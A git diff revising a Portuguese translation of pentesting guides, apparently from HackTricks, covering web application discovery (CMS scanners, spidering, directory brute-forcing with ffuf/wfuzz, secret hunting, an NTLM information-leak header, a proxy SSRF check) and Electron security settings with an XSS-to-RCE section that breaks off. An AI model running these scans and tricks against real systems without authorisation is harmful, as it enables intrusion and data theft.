(GUI)\ +[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sites em busca de vulnerabilidades de segurança. (GUI)\ [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\ -**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ou** [**(M)oodle**](moodle.md)\ +**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ou** [**(M)oodle**](moodle.md)\ [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) ```bash cmsmap [-f W] -F -d @@ -149,9 +150,9 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> Neste ponto você já deve ter algumas informações sobre o servidor web usado pelo cliente (se houver dados fornecidos) e alguns truques para ter em mente durante o teste. Se tiver sorte, talvez já tenha encontrado um CMS e executado algum scanner. +> Neste ponto você já deve ter alguma informação sobre o servidor web sendo usado pelo cliente (se houver dados fornecidos) e alguns truques para ter em mente durante o teste. Se tiver sorte, você até encontrou um CMS e executou algum scanner. -## Descoberta de Aplicações Web passo a passo +## Descoberta passo a passo da aplicação web > A partir deste ponto vamos começar a interagir com a aplicação web. @@ -168,26 +169,26 @@ joomlavs.rb #https://github.com/rastating/joomlavs **Forçando erros** -Servidores web podem **comportar-se de forma inesperada** quando dados estranhos são enviados a eles. Isso pode abrir **vulnerabilidades** ou **revelar informação sensível**. +Servidores web podem **se comportar de forma inesperada** quando dados estranhos são enviados a eles. Isso pode abrir **vulnerabilidades** ou **divulgar informação sensível**. - Acesse **páginas falsas** como /whatever_fake.php (.aspx,.html,.etc) - **Adicione "\[]", "]]", and "\[["** em **valores de cookie** e **valores de parâmetro** para criar erros -- Gere um erro fornecendo input como **`/~randomthing/%s`** no **final** da **URL** -- Tente **diferentes HTTP Verbs** como PATCH, DEBUG ou incorretos como FAKE +- Gere um erro fornecendo a entrada como **`/~randomthing/%s`** no **final** da **URL** +- Tente **diferentes HTTP Verbs** como PATCH, DEBUG ou inválidos como FAKE -#### **Verifique se você pode enviar arquivos (**[**PUT verb, WebDav**](put-method-webdav.md)**)** +#### **Verifique se você pode fazer upload de arquivos (**[**PUT verb, WebDav**](put-method-webdav.md)**)** -Se você descobrir que o **WebDav** está **habilitado** mas não tem permissões suficientes para **enviar arquivos** na pasta root tente: +Se descobrir que **WebDav** está **habilitado** mas você não tem permissões suficientes para **fazer upload de arquivos** na pasta raiz tente: - **Brute Force** credenciais - **Faça upload de arquivos** via WebDav para o **restante** das **pastas encontradas** dentro da página web. Você pode ter permissões para enviar arquivos em outras pastas. ### **Vulnerabilidades SSL/TLS** -- Se a aplicação **não estiver forçando o uso de HTTPS** em nenhuma parte, então está **vulnerável a MitM** -- Se a aplicação estiver **enviando dados sensíveis (senhas) usando HTTP**, então é uma vulnerabilidade alta. +- Se a aplicação **não estiver exigindo o uso de HTTPS** em qualquer parte, então é **vulnerável a MitM** +- Se a aplicação está **enviando dados sensíveis (senhas) usando HTTP**. Então é uma vulnerabilidade alta. -Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) para verificar **vulnerabilidades** (Em programas de Bug Bounty provavelmente esse tipo de vulnerabilidade não será aceito) e use [**a2sv**](https://github.com/hahwul/a2sv) para rechecagem das vulnerabilidades: +Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) para verificar **vulnerabilidades** (Em programas Bug Bounty provavelmente esse tipo de vulnerabilidade não será aceito) e use [**a2sv**](https://github.com/hahwul/a2sv) para revalidar as vulnerabilidades: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -196,58 +197,58 @@ Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) para verificar **vu sslscan sslyze --regular ``` -Informações sobre vulnerabilidades SSL/TLS: +Information about SSL/TLS vulnerabilities: - [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/) - [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/) ### Spidering -Lance algum tipo de **spider** dentro da web. O objetivo do spider é **encontrar o máximo de paths possível** da aplicação testada. Portanto, web crawling e fontes externas devem ser usadas para localizar o maior número possível de paths válidos. +Lance algum tipo de **spider** contra a web. O objetivo do spider é **encontrar o máximo de paths possível** da aplicação testada. Portanto, web crawling e fontes externas devem ser usadas para descobrir o máximo de paths válidos possível. - [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder em arquivos JS e fontes externas (Archive.org, CommonCrawl.org, VirusTotal.com). -- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, com LinkFider para arquivos JS e Archive.org como fonte externa. +- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, com LinkFinder para arquivos JS e Archive.org como fonte externa. - [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, também indica "juicy files". -- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. Também pesquisa no Archive.org -- [**meg**](https://github.com/tomnomnom/meg) (go): Esta ferramenta não é um spider, mas pode ser útil. Você pode indicar um arquivo com hosts e um arquivo com paths e o meg irá buscar cada path em cada host e salvar a resposta. -- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider com capacidades de rendering de JS. No entanto, parece estar sem manutenção, a versão pré-compilada é antiga e o código atual não compila. +- [**evine** ](https://github.com/saeeddhqan/evine)(go): CLI interativo HTML spider. Também pesquisa no Archive.org +- [**meg**](https://github.com/tomnomnom/meg) (go): Esta ferramenta não é um spider mas pode ser útil. Você indica um arquivo com hosts e um arquivo com paths e o meg fará fetch de cada path em cada host e salvará a resposta. +- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider com capacidades de renderização de JS. Porém, parece estar sem manutenção, a versão pré-compilada é antiga e o código atual não compila - [**gau**](https://github.com/lc/gau) (go): HTML spider que usa provedores externos (wayback, otx, commoncrawl) -- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Este script vai encontrar URLs com parâmetro e listá-las. -- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider com capacidades de rendering de JS. -- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, com capacidades de JS beautify capaz de buscar novos paths em arquivos JS. Pode valer a pena também dar uma olhada em [JSScanner](https://github.com/dark-warlord14/JSScanner), que é um wrapper do LinkFinder. -- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extrair endpoints tanto do source HTML quanto de arquivos javascript embutidos. Útil para bug hunters, red teamers, infosec ninjas. -- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Um script python 2.7 usando Tornado e JSBeautifier para parsear URLs relativas de arquivos JavaScript. Útil para descobrir facilmente requisições AJAX. Parece desatualizado. -- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado um arquivo (HTML) ele extrai URLs usando expressões regulares interessantes para encontrar e extrair URLs relativas de arquivos feios (minificados). +- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Este script encontrará URLs com parâmetros e irá listá-las. +- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider com capacidades de renderização de JS. +- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, com capacidades de JS beautify capaz de procurar novos paths em arquivos JS. Pode valer a pena também olhar [JSScanner](https://github.com/dark-warlord14/JSScanner), que é um wrapper de LinkFinder. +- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extrair endpoints tanto do código-fonte HTML quanto de arquivos javascript embutidos. Útil para bug hunters, red teamers, infosec ninjas. +- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Script python 2.7 usando Tornado e JSBeautifier para parsear URLs relativas de arquivos JavaScript. Útil para descobrir facilmente requisições AJAX. Parece estar sem manutenção. +- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado um arquivo (HTML) irá extrair URLs dele usando expressões regulares inteligentes para encontrar e extrair URLs relativas de arquivos minificados. - [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, várias ferramentas): Coleta informação interessante de arquivos JS usando várias ferramentas. - [**subjs**](https://github.com/lc/subjs) (go): Encontra arquivos JS. - [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carrega uma página em um headless browser e imprime todas as urls carregadas para renderizar a página. - [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Ferramenta de content discovery que mistura várias opções das ferramentas anteriores - [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Uma extensão do Burp para encontrar paths e params em arquivos JS. -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Uma ferramenta que, dado o .js.map URL, obtém o código JS beautified +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Uma ferramenta que, dado o URL .js.map, retorna o código JS beautified - [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Ferramenta usada para descobrir endpoints para um dado target. -- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Descobre links do wayback machine (também baixando as respostas no wayback e procurando mais links) -- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Faz crawl (inclusive preenchendo forms) e também encontra info sensível usando regexes específicas. -- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite é um crawler/spider de segurança web multi-funcional com GUI, projetado para profissionais de cyber security. -- [**jsluice**](https://github.com/BishopFox/jsluice) (go): É um pacote Go e [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extrair URLs, paths, secrets e outros dados interessantes do código fonte JavaScript. -- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge é uma simples **Burp Suite extension** para **extrair os parâmetros e endpoints** da request para criar wordlists customizadas para fuzzing e enumeração. -- [**katana**](https://github.com/projectdiscovery/katana) (go): Excelente ferramenta para isso. -- [**Crawley**](https://github.com/s0rg/crawley) (go): Imprime todo link que consegue encontrar. +- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Descobre links a partir do wayback machine (também baixando as respostas no wayback e procurando mais links) +- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Faz crawl (até preenchendo forms) e também encontra info sensíveis usando regexes específicas. +- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite é um avançado crawler/spider GUI com várias features, desenhado para profissionais de segurança. +- [**jsluice**](https://github.com/BishopFox/jsluice) (go): É um pacote Go e [ferramenta de linha de comando](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extrair URLs, paths, secrets e outros dados interessantes de código fonte JavaScript. +- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge é uma simples **Burp Suite extension** para **extrair os parâmetros e endpoints** das requisições para criar wordlists customizadas para fuzzing e enumeração. +- [**katana**](https://github.com/projectdiscovery/katana) (go): Ferramenta excelente para isso. +- [**Crawley**](https://github.com/s0rg/crawley) (go): Imprime todo link que conseguir encontrar. ### Brute Force directories and files -Comece o **brute-forcing** a partir da pasta root e tenha certeza de brute-forçar **todos** os **diretórios encontrados** usando **este método** e todos os diretórios **descobertos** pelo **Spidering** (você pode fazer esse brute-forcing **recursivamente** e acrescentando no início da wordlist usada os nomes dos diretórios encontrados).\ +Comece o **brute-forcing** a partir da pasta raiz e certifique-se de brute-force **todos** os **diretórios encontrados** usando **este método** e todos os diretórios **descobertos** pelo **Spidering** (você pode fazer esse brute-forcing **recursivamente** e acrescentar no início da wordlist os nomes dos diretórios encontrados).\ Ferramentas: -- **Dirb** / **Dirbuster** - Incluído no Kali, **old** (e **slow**) mas funcional. Permite certificados autoassinados e busca recursiva. Muito lento comparado com as outras opções. -- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Não permite certificados autoassinados mas** permite busca recursiva. -- [**Gobuster**](https://github.com/OJ/gobuster) (go): Permite certificados autoassinados, não possui busca **recursiva**. -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.** +- **Dirb** / **Dirbuster** - Incluídos no Kali, **antigos** (e **lentos**) mas funcionais. Permitem certificados auto-assinados e busca recursiva. Muito lentos comparados com as outras opções. +- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Não permite certificados auto-assinados mas** permite busca recursiva. +- [**Gobuster**](https://github.com/OJ/gobuster) (go): Permite certificados auto-assinados, **não** tem busca **recursiva**. +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Rápido, suporta busca recursiva.** - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` -- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -- [**uro**](https://github.com/s0md3v/uro) (python): Isto não é um spider, mas uma ferramenta que, dada a lista de URLs encontradas, vai eliminar URLs "duplicadas". -- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension para criar uma lista de diretórios a partir do histórico do burp de diferentes páginas +- [**ffuf** ](https://github.com/ffuf/ffuf)- Rápido: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` +- [**uro**](https://github.com/s0md3v/uro) (python): Esta não é um spider mas uma ferramenta que, dada a lista de URLs encontradas, vai eliminar URLs "duplicadas". +- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension para criar uma lista de diretórios a partir do burp history de diferentes páginas - [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs com funcionalidades duplicadas (baseado em imports js) -- [**Chamaleon**](https://github.com/iustin24/chameleon): Usa wapalyzer para detectar tecnologias usadas e selecionar as wordlists a serem utilizadas. +- [**Chamaleon**](https://github.com/iustin24/chameleon): Usa wapalyzer para detectar tecnologias usadas e selecionar wordlists adequadas. **Dicionários recomendados:** @@ -268,41 +269,41 @@ Ferramentas: - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._ +_Nota: sempre que um novo diretório for descoberto durante brute-forcing ou spidering, ele deve ser Brute-Forced._ ### What to check on each file found -- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Encontra links quebrados dentro de HTMLs que podem ser propensos a takeover -- **File Backups**: Depois de encontrar todos os arquivos, procure por backups de todos os arquivos executáveis ("_.php_", "_.aspx_"...). Variações comuns de nome para backups: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp e file.old._ Você também pode usar a ferramenta [**bfac**](https://github.com/mazen160/bfac) **ou** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** -- **Discover new parameters**: Você pode usar ferramentas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **para descobrir parâmetros ocultos. Se possível, tente buscar** parâmetros ocultos em cada arquivo web executável. +- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Encontra links quebrados dentro de HTMLs que podem ser suscetíveis a takeovers +- **File Backups**: Depois de encontrar todos os arquivos, procure por backups de todos os arquivos executáveis ("_.php_", "_.aspx_"...). Variações comuns para nomear um backup são: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Você também pode usar a ferramenta [**bfac**](https://github.com/mazen160/bfac) **ou** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** +- **Discover new parameters**: Você pode usar ferramentas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **para descobrir parâmetros ocultos. Se possível, tente procurar** parâmetros ocultos em cada arquivo web executável. - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) - **Comments:** Verifique os comentários de todos os arquivos, você pode encontrar **credentials** ou **funcionalidade oculta**. -- Se você estiver fazendo **CTF**, um truque "comum" é **esconder** **informação** dentro de comentários à **direita** da **página** (usando **centenas** de **espaços** para que você não veja os dados se abrir o source no navegador). Outra possibilidade é usar **várias linhas novas** e **esconder informação** em um comentário no **final** da página web. -- **API keys**: Se você **encontrar alguma API key** há projetos que indicam como utilizar API keys de diferentes plataformas: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) -- Google API keys: Se encontrar qualquer API key que comece com **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik você pode usar o projeto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) para verificar quais apis a key consegue acessar. -- **S3 Buckets**: Enquanto faz spidering verifique se algum **subdomain** ou **link** está relacionado a algum **S3 bucket**. Nesse caso, [**check** the **permissions** of the bucket](buckets/index.html). +- Se você estiver jogando **CTF**, um truque "comum" é **ocultar** **informação** dentro de comentários à **direita** da **página** (usando **centenas** de **espaços** para que você não veja os dados se abrir o source com o navegador). Outra possibilidade é usar **várias linhas em branco** e **esconder informação** em um comentário no **final** da página web. +- **API keys**: Se você **encontrar qualquer API key** há guias que indicam como utilizar API keys de diferentes plataformas: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) +- Google API keys: Se você encontrar qualquer API key que comece com **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik você pode usar o projeto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) para verificar quais apis a key consegue acessar. +- **S3 Buckets**: Enquanto faz o spidering veja se algum **subdomain** ou algum **link** está relacionado com algum **S3 bucket**. Nesse caso, [**check** the **permissions** of the bucket](buckets/index.html). ### Special findings -**Durante** a **execução** do **spidering** e do **brute-forcing** você pode encontrar **coisas interessantes** que deve **notar**. +**Enquanto** realiza o **spidering** e o **brute-forcing** você pode encontrar **coisas** **interessantes** que deve **notar**. -**Arquivos interessantes** +**Interesting files** - Procure por **links** para outros arquivos dentro dos arquivos **CSS**. -- [Se você encontrar um _**.git**_ alguns dados podem ser extraídos](git.md) +- [If you find a _**.git**_ file some information can be extracted](git.md) - Se encontrar um _**.env**_ informações como api keys, senhas de dbs e outras informações podem ser encontradas. -- Se encontrar **API endpoints** você [deve também testá-los](web-api-pentesting.md). Estes não são arquivos, mas provavelmente "parecerão" com eles. -- **JS files**: Na seção de spidering foram mencionadas várias ferramentas que extraem paths de arquivos JS. Além disso, seria interessante **monitorar cada arquivo JS encontrado**, pois em algumas ocasiões, uma alteração pode indicar que uma potencial vulnerabilidade foi introduzida no código. Você pode usar, por exemplo, [**JSMon**](https://github.com/robre/jsmon)**.** -- Você também deve checar os arquivos JS descobertos com [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) para ver se estão vulneráveis. +- Se encontrar **API endpoints** você [should also test them](web-api-pentesting.md). Estes não são arquivos, mas provavelmente "parecerão" com eles. +- **JS files**: Na seção de spidering várias ferramentas que extraem paths de arquivos JS foram mencionadas. Também é interessante **monitorar cada arquivo JS encontrado**, pois em algumas ocasiões, uma alteração pode indicar que uma potencial vulnerabilidade foi introduzida no código. Você pode usar por exemplo [**JSMon**](https://github.com/robre/jsmon)**.** +- Você também deve checar arquivos JS descobertos com [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) para ver se são vulneráveis. - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) -- **JsFuck deobfuscation** (javascript com caracteres:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) +- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` - Em várias ocasiões, você precisará **entender as expressões regulares** usadas. Isso será útil: [https://regex101.com/](https://regex101.com) ou [https://pythonium.net/regex](https://pythonium.net/regex) -- Você também pode **monitorar os arquivos onde forms foram detectados**, pois uma mudança nos parâmetros ou o aparecimento de um novo form pode indicar uma nova funcionalidade potencialmente vulnerável. +- Você também pode **monitorar os arquivos onde forms foram detectados**, já que uma mudança em um parâmetro ou o aparecimento de um novo form pode indicar uma potencial nova funcionalidade vulnerável. **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** @@ -313,28 +314,28 @@ _Note that anytime a new directory is discovered during brute-forcing or spideri **502 Proxy Error** -Se alguma página **responder** com esse **código**, provavelmente é um **proxy mal configurado**. **Se você enviar uma requisição HTTP como: `GET https://google.com HTTP/1.1`** (com o header host e outros headers comuns), o **proxy** tentará **acessar** _**google.com**_ **e você terá encontrado um** SSRF. +Se qualquer página **responder** com esse **código**, provavelmente é um **proxy mal configurado**. **Se você enviar uma requisição HTTP como: `GET https://google.com HTTP/1.1`** (com o header host e outros headers comuns), o **proxy** tentará **acessar** _**google.com**_ **e você terá encontrado um** SSRF. **NTLM Authentication - Info disclosure** -Se o servidor que está pedindo autenticação for **Windows** ou você encontrar um login pedindo suas **credentials** (e pedindo o **domain**), você pode provocar uma **divulgação de informação**.\ -**Envie** o **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e devido a como a **NTLM authentication** funciona, o servidor irá responder com informações internas (versão do IIS, versão do Windows...) dentro do header "WWW-Authenticate".\ +Se o servidor pedindo autenticação for **Windows** ou você encontrar um login pedindo suas **credentials** (e pedindo o **domain** **name**), você pode provocar uma **divulgação de informação**.\ +**Envie** o **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e devido à forma como a **NTLM authentication** funciona, o servidor irá responder com informação interna (versão do IIS, versão do Windows...) dentro do header "WWW-Authenticate".\ Você pode **automatizar** isso usando o **nmap plugin** "_http-ntlm-info.nse_". **HTTP Redirect (CTF)** -É possível **colocar conteúdo** dentro de uma **Redirection**. Esse conteúdo **não será mostrado ao usuário** (já que o browser irá executar a redireção) mas algo pode estar **escondido** ali. +É possível **colocar conteúdo** dentro de uma **Redirection**. Esse conteúdo **não será mostrado ao usuário** (pois o browser executará a redirecionamento) mas algo pode estar **escondido** ali. ### Web Vulnerabilities Checking -Agora que uma enumeração abrangente da aplicação web foi realizada, é hora de checar várias vulnerabilidades possíveis. Você pode encontrar o checklist aqui: +Agora que uma enumeração abrangente da aplicação web foi realizada, é hora de checar várias possíveis vulnerabilidades. Você pode encontrar o checklist aqui: {{#ref}} ../../pentesting-web/web-vulnerabilities-methodology.md {{#endref}} -Encontre mais info sobre web vulns em: +Find more info about web vulns in: - [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html) diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index 11af4de57..21d062785 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -1,12 +1,12 @@ -# Aplicações Desktop Electron +# Aplicações Desktop do Electron {{#include ../../../banners/hacktricks-training.md}} ## Introdução -Electron combina um backend local (com **NodeJS**) e um frontend (**Chromium**), embora lhe faltem alguns dos mecanismos de segurança dos navegadores modernos. +Electron combina um backend local (com **NodeJS**) e um frontend (**Chromium**), embora careça de alguns dos mecanismos de segurança dos navegadores modernos. -Normalmente poderá encontrar o código da aplicação Electron dentro de uma aplicação `.asar`; para obter o código é necessário extraí-lo: +Normalmente você pode encontrar o código do app Electron dentro de uma aplicação `.asar`; para obter o código, você precisa extraí-lo: ```bash npx asar extract app.asar destfolder #Extract everything npx asar extract-file app.asar main.js #Extract just a file @@ -19,12 +19,12 @@ No código-fonte de um aplicativo Electron, dentro de `packet.json`, você pode ``` Electron tem 2 tipos de processo: -- Main Process (tem acesso completo ao NodeJS) -- Renderer Process (deve ter o acesso ao NodeJS restrito por motivos de segurança) +- Processo Principal (tem acesso completo ao NodeJS) +- Processo Renderer (deve ter o acesso ao NodeJS restrito por razões de segurança) ![](<../../../images/image (182).png>) -Um **renderer process** será uma janela do navegador carregando um arquivo: +Um **processo renderer** será uma janela do navegador carregando um arquivo: ```javascript const { BrowserWindow } = require("electron") let win = new BrowserWindow() @@ -32,20 +32,20 @@ let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` -As configurações do **renderer process** podem ser **configuradas** no **main process** dentro do arquivo main.js. Algumas dessas configurações irão **impedir que a Electron application obtenha RCE** ou outras vulnerabilidades se as **configurações estiverem corretas**. +As configurações do **renderer process** podem ser **configuradas** no **main process** dentro do arquivo main.js. Algumas dessas configurações irão **impedir que a aplicação Electron obtenha RCE** ou outras vulnerabilidades se as **configurações estiverem corretamente definidas**. -A Electron application **pode acessar o dispositivo** via Node apis, embora possa ser configurada para impedir isso: +A aplicação Electron **poderia acessar o dispositivo** via Node apis, embora possa ser configurada para evitar isso: -- **`nodeIntegration`** - está `off` por padrão. Se ativado, permite acessar recursos do Node a partir do renderer process. -- **`contextIsolation`** - está `on` por padrão. Se `off`, os processos main e renderer não são isolados. +- **`nodeIntegration`** - está `off` por padrão. Se `on`, permite acessar recursos do node a partir do renderer process. +- **`contextIsolation`** - está `on` por padrão. Se `off`, main e renderer processes não ficam isolados. - **`preload`** - vazio por padrão. -- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - está `off` por padrão. Vai restringir as ações que o NodeJS pode executar. +- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - está `off` por padrão. Irá restringir as ações que NodeJS pode executar. - Node Integration in Workers - **`nodeIntegrationInSubframes`** - está `off` por padrão. -- Se **`nodeIntegration`** estiver **enabled**, isso permitirá o uso das **Node.js APIs** em páginas web que são **carregadas em iframes** dentro de uma Electron application. -- Se **`nodeIntegration`** estiver **disabled**, então os preloads serão carregados no iframe +- Se **`nodeIntegration`** estiver **ativado**, isso permitiria o uso das **Node.js APIs** em páginas web que são **carregadas em iframes** dentro de uma aplicação Electron. +- Se **`nodeIntegration`** estiver **desativado**, então os preloads serão carregados no iframe -Exemplo de configuração: +Example of configuration: ```javascript const mainWindowOptions = { title: "Discord", @@ -103,7 +103,7 @@ Modifique a configuração start-main e adicione o uso de um proxy como: ``` ## Electron Local Code Injection -Se você conseguir executar localmente um Electron App é possível que você possa fazê-lo executar código javascript arbitrário. Check how in: +Se você puder executar localmente um Electron App, é possível que consiga fazê-lo executar código javascript arbitrário. Veja como em: {{#ref}} @@ -112,7 +112,7 @@ Se você conseguir executar localmente um Electron App é possível que você po ## RCE: XSS + nodeIntegration -Se o **nodeIntegration** estiver definido como **on**, o JavaScript de uma página web pode usar funcionalidades do Node.js facilmente apenas chamando `require()`. Por exemplo, a forma de executar o aplicativo calc no Windows é: +Se a **nodeIntegration** estiver definida como **on**, o JavaScript de uma página web pode usar recursos do Node.js facilmente apenas chamando `require()`. Por exemplo, a forma de executar o aplicativo calc no Windows é: ```html ``` -## `file://` Protocolo +## Protocolo `file://` -Como mencionado em [the 